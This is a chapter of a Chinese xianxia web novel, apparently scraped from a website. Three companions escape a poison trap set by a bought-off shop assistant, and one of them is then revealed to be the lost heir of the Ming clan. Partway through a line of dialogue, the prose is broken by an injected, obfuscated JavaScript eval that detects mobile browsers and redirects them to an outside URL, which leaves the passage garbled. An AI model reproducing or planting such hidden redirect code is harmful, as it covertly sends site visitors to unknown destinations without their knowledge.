“那云明是不是就在下面?”灼夜问。 “应该是。”容识快速扫视过整个院子,看院子构造,只有地下适合做关人的地方。 灼夜犹豫着道:“不对。” 容识歪头看他:“哪里不对?” “药王山的弟子,应该都跟云明一样对药味特别熟悉吧?”灼夜挠挠头,“为什么他们抓了云明以后,不把味道盖住?是不是就等着我们过来,好一网打尽?” 容识噗嗤一笑,“猜得没错。” 一向单纯的灼夜竟然也学会想这些弯弯绕绕的东西,不知道是该高兴还是该叹息。 灼夜皱眉,他只能想到这么多,至于该怎么解决眼前的难题,他脑子完全空白,“那我们该怎么办?” 容识道:“下去。” 面对灼夜不解的眼神,他浅笑,“萧随不在,便没什么人能够拦得住我们。与其瞻前顾后,不如见招拆招。” “好。”容识的判断从未出错,灼夜便拉着他的手腕,两人一起向前走了三步。 “咔嚓——”细微的声响过后,脚下一空。 凛风从四面八方而来,灼夜拉紧容识,炽热的掌风把暗器尽数打落。 容识打量着四周的环境,这是个不见一丝光亮和缝隙的圆形密室,他和灼夜落在正中心。 “什么都没有?”灼夜四处看了看,“云明会不会在墙后面?可是在哪个方位?” 他放出神识,却碰了壁,“神识也出不去,好厉害的密室。” “这是药王山特意建造的,是战时存放药材的地方,为防敌军抢去或者毁掉药材,所以做得严密,有奇门遁甲的阵法,还放了阻拦神识的法器。”容识反手拉住灼夜往右边走,“生门在这边。” 他拉着灼夜来到墙边,在墙上依次按下七个不同的位置,按完之后,墙壁无声移开,露出一条幽深细长的甬道。 “走。”容识正要进去,却被一只手臂拦住。 灼夜道:“我走前面吧。” 救人要紧,容识无意争执,任由灼夜走在了前头。 为了更好应对突发的危机,两人走得很慢,但直到穿过甬道,都没有危险发生。 走出甬道之后,灼夜一眼看到旁边角落里的云明,对方倒在地上,看样子是昏迷了。 “云明!”他跑过去把人扶起来摇晃几下。 等容识跟着走到云明面前,便听他喉咙里发出干呕的声音,一把推开了灼夜,睁开眼道:“别晃了,要吐了……” 24. 中毒 云明捂着嘴,强忍着呕吐的冲动。灼夜力气大他是知道的,但没想到有这么大,他要是真的受伤,怕是被晃几下就得伤上加伤了。 “你们是怎么……算了不重要,出去要紧。” 容识和灼夜默契地一人一边扶着云明的胳膊,没走几步,密室内骤然响起风动的哗哗声,烟雾和药粉如雨雪一般从天顶倾斜而下。 三个人都忍不住咳嗽了好几声。 “不好,快走!”云明动了动鼻子,心下重重一跳,这么强的毒,大事不妙! 容识挥开眼前的粉尘,这小小的密室竟然有这么厉害的毒? 他艰难地寻找方向,最后指出一点,“灼夜,用尽全力打那儿。” 这毒再吸一小会儿,云明和灼夜都得死,来不及找出路了! “好!”灼夜飞奔而去,一掌过去,轰然之下,墙只是裂了一条缝,他再补了两掌,才把墙壁彻底轰开。 新鲜的空气钻入密室,让人的呼吸顺畅不少。 容识和灼夜架着云明飞远,徒留废墟中一个瑟瑟发抖的年轻人无助地抱紧了自己。 逃到城外山下,灼夜和云明身体脱力地一歪,险些从高空摔下来,容识转头确认了没有追兵,赶忙道:“先下去休整!” 三人落在山下背阴的小土坡后面,灼夜和云明已是站都站不稳,容识拉着两个人让他们缓缓坐下。 密室中的毒毒性太强,他身上没有药,只好问云明:“你的药在哪儿?” 云明咬着牙从怀中扯出一只储物袋,便两眼一翻晕了过去。 灼夜虽说没有晕,情况也没好到哪里去,他靠在石头上,手捂着胸口不住地颤,“我……使不上力气,动不了,喉咙好麻,有点说……说不出话……” 他觉得全身发麻,这种浑身上下所有的器官都不听自己使唤的感觉让人心悸。他想睁大眼睛看着容识好安心一点,眼皮却止不住地往下坠,呼吸也变得困难,张口也吸不到几口气,他不会憋死吧? 濒死的恐慌感席卷了他,心脏跳得飞快,耳边传来八百只蜜蜂环绕的嗡嗡声,似乎被人死死按在水中,没办法呼吸,想挣扎身体却动弹不得,也不知道水面到底在哪里。 “没事的没事的!”容识安抚地握了一下他的手,快速在储物袋里翻找起来,“那些烟雾和药粉毒性很强,会麻痹身体让人僵直而死,但解了毒就好了。” 他知道在这种紧要关头解释毒性,比瞒着不说更让灼夜安心。 他不通药理,见过的毒却不少,捡出几个药瓶,倒了些药丸,先给状况更严重的云明喂了,再给灼夜喂。 可灼夜半昏未昏,唇齿绷得很紧,容识只能单膝跪在他身前,用力掐住他的下颌,“灼夜,张嘴。” 容识的声音遥远得像是隔着千山万水、隔着层层的水面,他的声音在水上,而自己沉在水下,被水压得将死未死。 灼夜习惯性地听从了他的话,张开了嘴,药丸入口化开,苦涩无比,被灌进来的水一泡,更是苦得叫人想吐,呕吐的感觉不管不顾地冲上来。 他侧过头,脑子里什么都不剩了,还记得不能吐在容识身上,下颌却被抬高捏紧了,“唔!” “别吐,咽下去!” 容识的手按着他的胸腔,灼夜喉咙一动,药丸终是落进了肚子里,这时容识的声音柔和下来,“再喝些水吧。” 半袋冰凉的水喝进去,想吐的感觉终于被压了下来,好像也可以呼吸了。 灼夜咳嗽几声,睁开眼看见容识疲惫中带着焦躁的眼神:“感觉怎么样?” “我……我好多了。”他看见容识身后的月亮,恍惚地想,看时间,距离他们到常泉只过去了不到半个时辰。 可就这半个时辰,像是过了几辈子那么长,就算在萧随的山庄、在镜真的剑前,就算在他记不清的以前,他都没有这样强烈的、死里逃生的感觉。 他活过来了。 因为容识。 容识又救了他。 灼夜鼻子酸得要命,像是吃了几百个酸梨,猛地扑到容识身上,再也忍不住,“容识……我,我方才还以为我要死了……” 容识被扑了满怀,一时愣住。 “这到底是什么毒啊这么可怕……我就觉得,喘不上气,跟掉进水里一样,什么都做不了,只能干看着自己被淹死……我,我还想着,我这么年轻,却死得这么憋屈,还不如被萧随和镜真那两个混蛋一剑砍死呢……”灼夜哭起来像个小孩子一样,哭声委屈得要命,不多时他便感觉肩膀湿了一片。 灼夜平时似乎无所畏惧,却只是个不知道有没有满二十岁的半大少年,没经历过这样阴毒的算计、这样惊心动魄的生死瞬间,劫后余生,害怕很正常。 容识不知道该怎么做,试着像安慰小孩子一样,轻拍他的肩膀,给他顺气,“没事了没事了,毒解了就没事了,别害怕……” 谁知灼夜听了他的话,哭声更响了,整个人一颤一颤的,有些上不来气。 容识把手塞进两人之间的空隙,轻轻按着灼夜的肺腑,让他好受些。 他叹着气沉默下来,若不是他,云明不需要来常泉取药,自然也不会被萧随的人盯上,两个人不会在密室中毒生死一线。 云明昏沉中被灼夜的哭声惊醒,默默起身靠在石头上。他刚才看着是昏迷了,实际上身体的症状他都能感受到,而且他更了解这种毒的毒性,也知道容识不通药理更何况是解毒,再者容识身体那么差,万一他比他们更早晕过去,三个人岂不是要一起死在这里? 他清楚地明白自己和灼夜这一遭活过来有多不容易,越想越气越想越怕,边骂边哭:“天杀的,我要告诉师尊让她把萧家的人都毒死!把那个见鬼的叛徒做成药人!!!” “喵……”微弱的猫叫传进耳中,云明手忙脚乱地捧起药篓,见糯米没事,松了口气,“还好还好,那毒对动物没用……” 容识被抱着脱不开身,便取出新的水袋给了云明。 方才的情况堪称是十死无生,灼夜和云明哭一哭,也能缓解一下心情。 云明把一整袋水都灌了下去,说做就做,拿起弟子令牌哭嚎,“师尊!你能不能去打死萧随啊!” 容识听不到对面的声音,只听云明诉说着自己的憋屈:“我们在常泉县设的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373090|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药铺,是一个师兄主管,一个凡人做副手,你知道么,那个凡人被萧随收买了!我今天去那儿拿药,被那个凡人关在了地下的密室,他说他把师兄骗出去了!我们中了痹心散,这么可怕的毒,我只在书上看到过,我们差点儿就死在这儿了!” 容识垂下眼睫,从他的话里拼凑出事情的原委。 痹心散的毒,在身体上造成的痛苦反而是轻的,最恐怖的是毒性渐深以后根本没办法动弹,只能眼睁睁看着自己死去的精神凌迟。 连云明这样的山主弟子都只在书上看到过,可见数量稀少,一个小药铺应该不会有,这痹心散是谁给那个凡人的,萧随么? 萧随在修真界,或者说在九州的势力,比容识想的还要大,连凡人都为他做事。 修士想要诱惑凡人是件很简单的事,云明手里一颗药丸就可以帮他们延年益寿,祛病驱邪,所以当今的仙盟在战时就定下了一条铁律,不许任何修士跟凡人有利益来往,怕修士凭借一身修为对凡人不利。药王山开的铺子用凡人做副手、弟子给凡人看诊治病,按理说都是要向仙盟请示的。 萧随把手伸到凡间,在修真界是令人不齿的事情。 云明的哭声渐渐变小,大概是得到了师尊的安抚,“啊?厉害?哎呀,师尊你快别说了,厉害的不是我,是跟我同行的朋友,我跟你说过的,他叫容识。应该是我太晚还没回去,他和灼夜觉出不对,就来救我了。我和灼夜都中毒了,是容识救了我们,要不是他,我们这次就真的要死了……” 他好像想起了什么,呆愣了一瞬,紧接着神色如常道:“唉,我太累了,先休息了师尊。” 云明收起了弟子令牌,侧头看着容识。 灼夜这时候也哭完了,撒开了抱着容识的手,可能是觉得方才大哭有些丢人,拿了绢布捂着脸缓慢地擦着。 容识就坐在灼夜对面,月色掠过他泛白的长发,云明有些看不清他的脸。 “容识。”云明直直地盯着他,“为什么……你没有中毒。” 容识没做他想,灼夜和云明对他的身体状况总有很多的疑问,只淡淡道:“天品之下的毒对我没用。” 几千年前,修真界的药物与毒物就被药王山分为了天地玄黄四个品阶。痹心散十分厉害,却只是地品毒药。 云明乍然起身握住了容识的手腕,脉象的诊断如水流般顺滑地出现在他的脑海里,他却读不懂了。 “没有任何中毒的迹象……与其说毒对你没用,不如说你根本不会中天品以下的毒……” 他力气大得容识感觉手腕要碎了,不自觉皱起了眉。 云明这是怎么了,一副见鬼的样子。 没等他想明白,云明便甩开了他的手,指着他语无伦次道:“你……你骗我……” 灼夜觉出他语气不对,收了帕子道:“云明……” “你闭嘴。”云明咬牙切齿:“我不叫云明,我是南海明氏现任家主之子,我本名叫明允。” 他看见容识瞳孔微缩,气得七窍生烟,“而你,桓礼说得没错,你分明就是明氏长公子明彧,是明氏前任家主的独子,是我的堂哥!”